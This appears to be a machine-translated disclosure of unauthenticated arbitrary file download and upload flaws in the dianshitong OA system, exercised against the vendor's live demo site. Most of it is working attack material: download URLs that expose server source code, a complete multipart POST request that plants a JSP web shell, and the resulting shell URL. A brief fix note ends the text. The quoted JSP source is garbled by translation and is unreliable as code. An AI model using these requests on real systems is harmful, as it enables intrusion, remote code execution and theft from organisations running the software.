You do not need to log on to multiple locations of an OA system to download any file from any file and upload it to GetShell.

You do not need to log on to multiple locations of an OA system to download any file from any file and upload it to GetShell.

You do not need to log on to an OA system. You can download the source code from any file, analyze the source code, and upload the GetShell file to any file.

Official Website: http://www.ttyoa.com/WebDst/index.htm? TopMenu = sy

Beijing dianshitong Technology Limited Company, dianshitong OA Office Automation System

Official Demo: http://www.ttyoa.com/Main3/sy.jsp

Take the official demo for testing.



0x001 first Arbitrary File Download

No need to log on, file download, File Download chain:

Http://www.ttyoa.com/Common/Js/UploadEx/do_download.jsp? UpLoadPath =/Common/Js/UploadEx/& FileName = do_download.jsp
 

The do_download.jsp file has been downloaded. Let's take a look at the source code:
 

<% @ Page contentType = "text/html; charset = gb2312" %> <% @ page import = "com. jspsmart. upload. * "%> <% String szUpLoadPath = request. getParameter ("UpLoadPath"); String szFileName = request. getParameter ("FileName"); String path = request. getRealPath (""); // create a new SmartUpload object SmartUpload su = new SmartUpload (); // initialize su. initialize (pageContext); // set contentDisposition to null to prevent the browser from automatically opening the file. // ensure that the file is downloaded after the link is clicked. If this parameter is not set, when the downloaded file extension is // doc, the browser automatically opens it with word. When the extension is pdf, // the browser will open with acrobat. Su. setContentDisposition (null); // download the file // {// response if the following is not used. getWriter (), because this method is consistent with response. documents such as getOutputStream () conflict with html cannot be downloaded. Out. clear (); out = pageContext. pushBody (); //} String oFileName = new String (szFileName. getBytes ("gb2312"), "iso8859-1"); // su. downloadFile (path + "\ DB \ UpLoad \" + szHref, null, oFileName); su. downloadFile (path + "/" + szUpLoadPath + "/" + szFileName, null, oFileName); %>

At a glance, We can splice the accepted UpLoadPath and FileName, and then download them directly !!!



0x002 use shell to upload the first Arbitrary File

Next, we will download other files under the current directory, UploadFile. action. jsp.

Http://www.ttyoa.com/Common/Js/UploadEx/do_download.jsp? UpLoadPath =/Common/Js/UploadEx/& FileName = UploadFile. action. jsp
 

Let's analyze the file upload:
 

<% @ Page contentType = "text/html; charset = gb2312" %> <% @ include file = ".. /.. /.. /Common/include. inc "%> <% String szIsOk =" true "; String szIdTime = request. getParameter ("IdTime"); String szYuan_FileName = request. getParameter ("Yuan_FileName"); String objUploadName = request. getParameter ("objUploadName"); String szUpLoadPath = request. getParameter ("szUpLoadPath"); String szUpload_Div_FuJian = request. getParameter (" Upload_Div_FuJian "); String szFileName = request. getParameter ("FileName"); if (szFileName = null) {szFileName = "";} out. println (szUpLoadPath + "/" + szFileName); DiskFileItemFactory factory = new DiskFileItemFactory (); factory. setSizeThreshold (4096); String szNewFileSavePath = application. getRealPath (java. io. file. separator + szUpLoadPath); System. out. println ("File Upload path:" + szNewFileSavePath); // factory. setRe Pository (szNewFileSavePath); factory. setRepository (new java. io. file (szNewFileSavePath); HttpFileUpload fu = new HttpFileUpload (factory );...... omitted ...... try {List fileItemList = fu. parseRequest (request); out. println (fileItemList. size (); Iterator fileItemListIte = fileItemList. iterator (); while (fileItemListIte. hasNext () {FileItem file = (FileItem) fileItemListIte. next (); // File Save file // File Save path and file name/ /String uploadfile = application. getRealPath (File. separator + "uploadfile" + File. separator + "src.rar"); // File upFile = new File (uploadfile); // file. write (upFile); if (file. getName ()! = Null) {java. io. file upFile = new java. io. file (szNewFileSavePath + "/" + szFileName); file. write (upFile);} System. out. println (file. getName () + "<br>" + file. getSize ();} out. println ("Upload successful! ");}......

You can see:
 

java.io.File upFile = new java.io.File(szNewFileSavePath+"/"+szFileName);file.write(upFile);

SzNewFileSavePath and szFileName are spliced and downloaded directly. The two values here are passed in without any filtering, resulting in arbitrary upload !!

The sender is as follows, and login is not required:
 

POST /Common/Js/UploadEx/UploadFile.action.jsp?objUploadName=myUploadEx&Yuan_FileName=404.jsp&IdTime=404&FileName=404.jsp&szUpLoadPath=OA/DB&Upload_Div_FuJian=ddd HTTP/1.1Host: www.ttyoa.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://www.ttyoa.com/Common/Js/UploadEx/UploadFileIframe.jsp?objUploadName=myUploadEx&UpLoadPath=OA/DB&Upload_Div_FuJian=dddConnection: keep-aliveContent-Type: multipart/form-data; boundary=---------------------------124872554328309Content-Length: 31223-----------------------------124872554328309Content-Disposition: form-data; name="myFile"; filename="404.jsp"Content-Type: application/octet-stream<%jsp shell is here !%>-----------------------------124872554328309--

Successfully uploaded jsp shell:
 

Shell: http://www.ttyoa.com: 80/OA/DB/404.jsp
 

0x003 second Arbitrary File Download and Arbitrary File Upload

By analyzing this system, we find that another arbitrary file is downloaded and uploaded.

The principle is as follows: Download and upload code analysis

File Download Page: http://www.ttyoa.com/Common/Js/UploadCutPic/do_download.jsp

File upload page: http://www.ttyoa.com/Common/Js/UploadCutPic/UploadFile.action.jsp
 

Solution:

After uploading and downloading, you need to control the login permission and login verification.

Control the upload file type and download file path